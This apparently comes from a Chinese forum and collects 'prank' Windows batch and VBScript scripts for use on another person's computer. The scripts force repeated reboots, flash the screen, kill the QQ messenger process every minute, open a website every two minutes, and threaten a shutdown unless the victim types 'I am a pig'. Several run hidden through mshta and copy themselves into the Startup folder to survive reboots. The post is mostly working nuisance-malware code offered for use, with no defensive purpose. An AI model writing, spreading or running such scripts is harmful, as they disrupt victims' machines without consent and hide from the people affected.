几个恶搞批处理

1、让对方重启5次

@echo off
copy /y %0 "%USERPROFILE%\「开始」菜单\程序\启动\"
if not exist c:\1.txt echo. >c:\1.txt & goto err1
if not exist c:\2.txt echo. >c:\2.txt & goto err1
if not exist c:\3.txt echo. >c:\3.txt & goto err1
if not exist c:\4.txt echo. >c:\4.txt & goto err1
if not exist c:\5.txt echo. >c:\5.txt & goto err1
goto err2
:err1
shutdown.exe -r -t 0
:err2
2、狂闪电脑屏幕

@Echo Off
Echo Exit|%ComSpec% /k prompt e 100 B4 00 B0 12 Cd 10 B0 03 Cd 10 Cd 20 $_g$_q$_|debug>nul
color 0a
:a
cls
for /l %%b in (1,6,7)do (
color %%bf
)
goto a

3、每隔1分钟就结束QQ 进程

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
copy /y %0 "%USERPROFILE%\「开始」菜单\程序\启动\ "
taskkill /f /im QQ.exe >nul
taskkill /f /im TXPlatform.exe >nul
ping 127.1 -n 600 >nul
goto begin

4、每隔120秒就弹出指定网站!

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
copy /y %0 "%USERPROFILE%\「开始」菜单\程序\启动\ "
start [url]http://bbs.deepin.org[/url]
rem 当然你也可以换成自己想打开的网站咯！
ping 127.1 -n 120>nul
goto begin

6、输入“我是猪”否则关机（vbs）

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""请在弹出的对话框中输入‘我是猪’并且点确定，否则我帮你关机,目前倒计时60秒，有种就别说"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","小熊制作"," 请输入“我是猪”并且点确定，终止关机倒计时",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"